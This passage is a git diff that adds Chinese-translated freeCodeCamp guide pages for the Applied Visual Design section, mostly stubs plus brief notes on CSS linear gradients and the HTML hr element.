\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md
new file mode 100644
index 0000000000..48e1634837
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Height of an Element Using the height Property
+localeTitle: 使用height属性调整元素的高度
+---
+## 使用height属性调整元素的高度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-height-of-an-element-using-the-height-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md
new file mode 100644
index 0000000000..55e236c0a6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Hover State of an Anchor Tag
+localeTitle: 调整锚标记的悬停状态
+---
+## 调整锚标记的悬停状态
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-hover-state-of-an-anchor-tag/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md
new file mode 100644
index 0000000000..12937e6b54
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Hue of a Color
+localeTitle: 调整颜色的色调
+---
+## 调整颜色的色调
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-hue-of-a-color/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md
new file mode 100644
index 0000000000..9a2823e587
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Size of a Header Versus a Paragraph Tag
+localeTitle: 调整标题的大小与段落标记
+---
+## 调整标题的大小与段落标记
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-size-of-a-header-versus-a-paragraph-tag/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md
new file mode 100644
index 0000000000..a9088bdad4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Tone of a Color
+localeTitle: 调整颜色的色调
+---
+## 调整颜色的色调
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-tone-of-a-color/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md
new file mode 100644
index 0000000000..c0b723964f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjust the Width of an Element Using the width Property
+localeTitle: 使用width属性调整元素的宽度
+---
+## 使用width属性调整元素的宽度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/adjust-the-width-of-an-element-using-the-width-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md
new file mode 100644
index 0000000000..82c158e92d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Elements at Variable Rates
+localeTitle: 以可变速率动画元素
+---
+## 以可变速率动画元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-elements-at-variable-rates/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md
new file mode 100644
index 0000000000..efffbbf829
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Elements Continually Using an Infinite Animation Count
+localeTitle: 动画元素不断使用无限动画计数
+---
+## 动画元素不断使用无限动画计数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-elements-continually-using-an-infinite-animation-count/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md
new file mode 100644
index 0000000000..ebf573e685
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md
@@ -0,0 +1,9 @@
+---
+title: Animate Multiple Elements at Variable Rates
+localeTitle: 以可变速率动画多个元素
+---
+## 以可变速率动画多个元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/animate-multiple-elements-at-variable-rates/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md
new file mode 100644
index 0000000000..4520ddfcae
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Center an Element Horizontally Using the margin Property
+localeTitle: 使用margin属性水平居中元素
+---
+## 使用margin属性水平居中元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/center-an-element-horizontally-using-the-margin-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md
new file mode 100644
index 0000000000..6dc94743e8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md
@@ -0,0 +1,9 @@
+---
+title: Change an Element's Relative Position
+localeTitle: 更改元素的相对位置
+---
+## 更改元素的相对位置
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-an-elements-relative-position/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md
new file mode 100644
index 0000000000..12089934b3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Animation Timing with Keywords
+localeTitle: 使用关键字更改动画计时
+---
+## 使用关键字更改动画计时
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-animation-timing-with-keywords/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md
new file mode 100644
index 0000000000..30bba529b5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Position of Overlapping Elements with the z-index Property
+localeTitle: 使用z-index属性更改重叠元素的位置
+---
+## 使用z-index属性更改重叠元素的位置
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/change-the-position-of-overlapping-elements-with-the-z-index-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md
new file mode 100644
index 0000000000..6f21abfca4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-gradual-css-linear-gradient/index.md
@@ -0,0 +1,20 @@
+ ---
+ title: Create a Gradual CSS Linear Gradient
+ localeTitle: 创建渐进的CSS线性渐变
+---
+##创建渐进式CSS线性渐变
+
+要创建线性渐变，您必须至少定义两个色标。颜色停止是您想要渲染平滑过渡的颜色。您还可以设置起点和方向（或角度）以及渐变效果。
+
+语法总是：
+```
+background-image: linear-gradient(angle, color-stop1, color-stop2); 
+```
+
+颜色可以以hex（）和rgb（）格式使用。尝试一下，你会明白使用它是多么容易和美丽。
+
+## 资源
+
+[此链接提供有关此主题的广泛信息。](https://www.w3schools.com/css/css3_gradients.asp)
+
+[此外，您可能想要查看The Net Ninja的Youtube视频。](https://www.youtube.com/watch?v=wTk4Wuckd0U)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md
new file mode 100644
index 0000000000..7bbdf0407d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Graphic Using CSS
+localeTitle: 使用CSS创建图形
+---
+## 使用CSS创建图形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-a-graphic-using-css/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md
new file mode 100644
index 0000000000..8c33ef5e3e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/index.md
@@ -0,0 +1,31 @@
+---
+title: Create a Horizontal Line Using the hr Element
+localeTitle: 使用hr元素创建水平线
+---
+## 使用hr元素创建水平线
+
+`hr`标记是最简单的HTML元素之一。它在其父元素上创建一条细水平线。
+
+本课程使用`hr`标记分隔“卡片”的标题和内容。那么如何创建`hr`元素呢？
+
+```html
+
+<!-- It's this easy --> 
+ <hr> 
+```
+
+此元素是自动关闭的，但为了对解析器和样式检查器友好，您应该添加一个明确的结束标记。
+
+```html
+
+<hr /> 
+```
+
+无论您选择哪种格式，都会在[freeCodeCamp的](https://www.freecodecamp.org/) [本课程中](https://learn.freecodecamp.org/responsive-web-design/applied-visual-design/create-a-horizontal-line-using-the-hr-element/)创建一条水平线。以下是该课程的屏幕截图，显示了div中包含的`hr`元素。
+
+![示例hr](https://i.imgur.com/RMTqXPw.png)
+
+## 资源：
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/hr)
+*   [W3C](http://w3c.github.io/html-reference/hr.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md
new file mode 100644
index 0000000000..ccd5126d6e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a More Complex Shape Using CSS and HTML
+localeTitle: 使用CSS和HTML创建更复杂的形状
+---
+## 使用CSS和HTML创建更复杂的形状
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-a-more-complex-shape-using-css-and-html/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md
new file mode 100644
index 0000000000..1bbcfbb7ba
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Movement Using CSS Animation
+localeTitle: 使用CSS动画创建运动
+---
+## 使用CSS动画创建运动
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-movement-using-css-animation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md
new file mode 100644
index 0000000000..a34b9c6b73
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Texture by Adding a Subtle Pattern as a Background Image
+localeTitle: 通过添加细微图案作为背景图像来创建纹理
+---
+## 通过添加细微图案作为背景图像来创建纹理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-texture-by-adding-a-subtle-pattern-as-a-background-image/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md
new file mode 100644
index 0000000000..a7b5ef9ff8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Visual Balance Using the text-align Property
+localeTitle: 使用text-align属性创建视觉平衡
+---
+## 使用text-align属性创建视觉平衡
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-visual-balance-using-the-text-align-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md
new file mode 100644
index 0000000000..7c92804cc6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Visual Direction by Fading an Element from Left to Right
+localeTitle: 通过从左到右淡化元素来创建视觉方向
+---
+## 通过从左到右淡化元素来创建视觉方向
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/create-visual-direction-by-fading-an-element-from-left-to-right/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md
new file mode 100644
index 0000000000..3b8000fafb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Decrease the Opacity of an Element
+localeTitle: 降低元素的不透明度
+---
+## 降低元素的不透明度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/decrease-the-opacity-of-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/index.md
new file mode 100644
index 0000000000..afcd6d1826
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Applied Visual Design
+localeTitle: 应用视觉设计
+---
+## 应用视觉设计
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md
new file mode 100644
index 0000000000..a8de35cc2c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn about Complementary Colors
+localeTitle: 了解互补色
+---
+## 了解互补色
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-about-complementary-colors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md
new file mode 100644
index 0000000000..e3c2b7b680
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn about Tertiary Colors
+localeTitle: 了解第三色
+---
+## 了解第三色
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-about-tertiary-colors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md
new file mode 100644
index 0000000000..195bfd484f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How Bezier Curves Work
+localeTitle: 了解Bezier曲线的工作原理
+---
+## 了解Bezier曲线的工作原理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-how-bezier-curves-work/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md
new file mode 100644
index 0000000000..9388bca683
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How the CSS @keyframes and animation Properties Work
+localeTitle: 了解CSS @keyframes和动画属性的工作原理
+---
+## 了解CSS @keyframes和动画属性的工作原理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/learn-how-the-css-keyframes-and-animation-properties-work/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md
new file mode 100644
index 0000000000..c5bfcbcc32
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Lock an Element to its Parent with Absolute Positioning
+localeTitle: 使用绝对定位将元素锁定到其父级
+---
+## 使用绝对定位将元素锁定到其父级
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-its-parent-with-absolute-positioning/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md
new file mode 100644
index 0000000000..c77574f774
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Lock an Element to the Browser Window with Fixed Positioning
+localeTitle: 使用固定定位将元素锁定到浏览器窗口
+---
+## 使用固定定位将元素锁定到浏览器窗口
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/lock-an-element-to-the-browser-window-with-fixed-positioning/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md
new file mode 100644
index 0000000000..7139f369bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md
@@ -0,0 +1,9 @@
+---
+title: Make a CSS Heartbeat using an Infinite Animation Count
+localeTitle: 使用无限动画计数制作CSS心跳
+---
+## 使用无限动画计数制作CSS心跳
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/make-a-css-heartbeat-using-an-infinite-animation-count/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md
new file mode 100644
index 0000000000..b8c963816a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Motion More Natural Using a Bezier Curve
+localeTitle: 使用贝塞尔曲线使运动更自然
+---
+## 使用贝塞尔曲线使运动更自然
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/make-motion-more-natural-using-a-bezier-curve/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md
new file mode 100644
index 0000000000..a4eab173b8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md
@@ -0,0 +1,9 @@
+---
+title: Modify Fill Mode of an Animation
+localeTitle: 修改动画的填充模式
+---
+## 修改动画的填充模式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/modify-fill-mode-of-an-animation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md
new file mode 100644
index 0000000000..77128102c4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md
@@ -0,0 +1,9 @@
+---
+title: Move a Relatively Positioned Element with CSS Offsets
+localeTitle: 使用CSS偏移移动相对定位的元素
+---
